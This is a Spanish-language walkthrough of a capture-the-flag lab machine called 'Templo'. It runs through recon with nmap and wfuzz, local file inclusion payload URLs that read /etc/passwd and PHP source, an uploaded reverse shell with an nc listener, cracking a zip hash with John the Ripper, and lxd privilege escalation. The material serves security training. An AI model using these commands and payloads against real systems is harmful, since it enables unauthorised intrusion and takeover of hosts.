Templo
🎯 Resolución
🔍Reconocimiento
🔎 Realizamos un escaneo exhaustivo con Nmap para identificar puertos abiertos y servicios en la máquina objetivo:
nmap -sC -sV -Pn 192.168.1.123
-
-sC: Ejecuta scripts predeterminados para obtener información adicional sobre los servicios. -
-sV: Detecta las versiones de los servicios en los puertos abiertos. -
-Pn: Omite el escaneo de ping, asumiendo que el host está activo.

👀 Detectamos los siguientes servicios activos: -
🛡️ SSH
-
🌐 HTTP en el puerto **80
🕵️♂️ Análisis de vulnerabilidades
Al analizar la página web, identificamos que utiliza la plantilla NAMARI. Para explorar la estructura de la página y encontrar directorios o archivos interesantes, usamos el siguiente comando con wfuzz
wfuzz -c -L -t 400 --sc=200,301 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.1.123:80/FUZZ
Este comando realiza un escaneo de directorios en la página web en busca de archivos o carpetas con códigos de estado HTTP 200 (OK) y 301 (Redirección permanente), utilizando una lista de palabras como diccionario.
Durante el escaneo, encontramos un archivo interesante en la dirección http://192.168.1.98/wow/clue.txt, lo que nos da un posible indicio importante. Al abrirlo, encontramos lo siguiente:

Para mejorar nuestra búsqueda, decidimos crear un diccionario personalizado basado en el contenido de la página web. Para ello, usamos la herramienta cewl, que permite generar una lista de palabras clave extraídas del contenido de la página. Esto es útil para encontrar directorios ocultos o archivos que no estén en listas estándar de wordlists. Ejecutamos el siguiente comando para generar el diccionario:
cewl http://192.168.1.123/ > wordlist_Templo
Una vez que tenemos nuestro wordlist personalizado, procedemos a realizar un nuevo escaneo de directorios utilizando wfuzz. El comando utilizado es el siguiente:
wfuzz -c -L -t 400 --sc=200,301 -w wordlist_Templo http://192.168.1.123:80/FUZZ
Y aparece el directorio NAMARI

Al acceder a la página, vemos que permite subir archivos e incluir archivos.

Siguiendo nuestra primera intuición, intentamos subir un reverse shell. Aunque la página lo permite, parece que no se crea una ruta accesible para los archivos subidos, o no existe un directorio de uploads donde el archivo sea ejecutable. Incluso al escanear rutas como http://192.168.1.124:80/NAMARI/FUZZ, no encontramos ninguna ruta que apunte al archivo subido o algún directorio donde se pueda acceder a él. Esto sugiere que los archivos subidos no son accesibles a través de la web, o hay medidas adicionales que protegen su ejecución
Al probar la opción de incluir archivo, ponemos cualquier cosa para ver cómo funciona.

http://192.168.1.123/NAMARI/index.php?page=HOLA. Este comportamiento indica una posible vulnerabilidad de inclusión de archivos. El parámetro page en la URL parece permitir que se incluyan archivos arbitrarios, lo que puede ser explotado para cargar archivos desde el sistema, como un reverse shell o archivos sensibles, si logramos manipular la entrada correctamente.
🎯 Explotación
Aprovechamos la vulnerabilidad de inclusión de archivos y probamos acceder al archivo /etc/passwd mediante la URLhttp://192.168.1.123/NAMARI/index.php?page=/etc/passwd
Al hacerlo, descubrimos que existe el usuario rodgar en el sistema. Esto nos proporciona una pista importante, ya que ahora podemos intentar obtener más información sobre este usuario o realizar otros ataques, como un ataque de fuerza bruta para obtener su contraseña.
Al hacer fuerza bruta no se obtiene.
Volvemos al punto anterior para investigar qué sucede exactamente con los archivos subidos y cómo se manejan. Para entenderlo, necesitamos leer el código fuente de la aplicación. Aprovechando la vulnerabilidad de LFI (Local File Inclusion), usamos wrappers de PHP para leer el archivo index.php codificado y analizar su contenido.
Esto nos permitirá entender cómo está montada la funcionalidad de subir archivos y descubrir por qué nuestros intentos previos con el reverse shell fallaron.
http://192.168.1.123/NAMARI/index.php?page=php://filter/convert.base64-encode/resource=index.php

Nos aparecerael contenido codeado ahora lo decodeamos
echo "El contenido" | base64 -d

Este es el código completo de la funcionalidad, y se observa que aplica una codificación ROT13 al nombre del archivo subido. Para la explotación, se creó un reverse shell utilizando la herramienta de Pentest Monkey en la página Revshells.com. En este caso, se indicó la IP del atacante y el puerto.
sudo nc -lvnp 4333
Dado que el código renombra los archivos subidos aplicando ROT13, el nombre del reverse shell reverse.php se convierte en erirefr.php. Para ejecutar el reverse shell, se debe acceder a la URL del archivo subido a través del navegador:
http://192.168.1.123/NAMARI/uploads/erirefr.php

Para mejorar la experiencia y obtener una terminal más funcional, ejecutamos los siguientes comandos
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115
Con estos ajustes, tenemos una terminal más funcional y cómoda, lo que nos prepara para continuar con la escalada de privilegios.
📈 Escalada de privilegios
Recuerden que en la página http://192.168.1.98/wow/clue.txt nos indicaban que fuéramos al directorio /opt. Para buscar archivos ocultos en dicho directorio, aplicamos el siguiente comando
ls -la /opt
Dentro hay un zip y se intentamos descomprimir nos pide de instalar el unzip

Encontramos un archivo ZIP. Al intentar descomprimirlo, nos solicitó instalar la herramienta unzip
Para obtener el archivo backup.zip de la víctima, abrimos un servidor web en la máquina víctima usando el siguiente comando:
python3 -m http.server 8080
En la máquina atacante, descargamos el archivo backup.zip con wget:
wget http://192.168.1.123:8080/backup.zip
Sin embargo, al intentar descomprimir el archivo backup.zip, nos solicita una contraseña, lo que indica que el archivo está protegido. Ahora necesitamos encontrar la contraseña para poder acceder a su contenido.

La única opción para obtener la contraseña del archivo backup.zip es crackear el hash del archivo. Primero, necesitamos obtener el hash del archivo ZIP utilizando la herramienta zip2john
zip2john backup.zip > hash_zip
Luego, utilizamos John the Ripper para crackear el hash usando un diccionario de contraseñas (en este caso, rockyou.txt):
john hash_zip --wordlist=/usr/share/wordlists/rockyou.txt
Al descomprimir el archivo backup.zip, descubrimos que la contraseña es batman. Dentro del archivo, encontramos un texto que parece ser una contraseña para el usuario rodgar.

Para cambiar al usuario rodgar, usamos el comando:
su rodgar
Al ejecutar sudo -l, observamos que no tiene permisos de sudo. Luego, al usar el comando id, descubrimos que rodgar pertenece al grupo lxd, un grupo vulnerable.

Investigamos más sobre las implicaciones de ser parte del grupo lxd y encontramos una vulnerabilidad relacionada con el uso de LXD/LXC para la escalada de privilegios. Siguiendo los pasos de un artículo en Medium, logramos escalar a root.
Finalmente, descubrimos que los directorios de la máquina víctima se encuentran en /mnt/root.
